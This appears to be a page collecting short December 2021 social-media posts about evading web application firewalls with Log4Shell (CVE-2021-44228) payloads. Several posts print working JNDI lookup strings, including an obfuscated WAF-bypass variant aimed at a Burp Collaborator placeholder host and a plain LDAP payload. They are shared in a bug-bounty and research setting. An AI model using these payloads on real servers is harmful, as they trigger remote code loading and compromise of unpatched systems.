Bypass WAF - CVE-2021-44228
La vulnerabilidad que ha afectado a cientos de empresas, instituciones, apps y mucho más...
#log4j2 #Log4Shell #CVE #fb ...December 14, 2021
if the vulnerable app uses Log4jServletFilter in addition to log4j, it should be technically possible to bypass the hardest WAF with a trick like Cook ...December 13, 2021
A bypass working for a few WAF
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
#log4j #Log4Shell #log4jR ...December 13, 2021
#log4j2 bypass waf tips
base payload?
${jndi:ldap://127.0.0.1:1099/obj}
these work well too ?
https://t.co/IDA2PaHhVN
pas: gF4Zm90ikB ...December 13, 2021
I published blog post about log4shell. what is it? how can be exploit, detect, mitigate, waf bypass and more.
https://t.co/nAYhCouxqa ...December 13, 2021
I have been sesing some excellent ways to bypass proction and waf filters against log4shell attacks. This must be the most interesting attacks in 2021 ...December 13, 2021
This indeed does work. I think the “i” character is the only one in “jndi:ldap” that works like that. Another likely WAF bypass for log4j. htt ...December 13, 2021
Found a bypass working for a few WAF
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
Enjoy bounty season ...December 12, 2021
Hey @MeghBulletin it probably happened due to log4j zeroday vulnerability found on twitter,steam,icloud etc. This is going on since past 2 days. The s ...December 12, 2021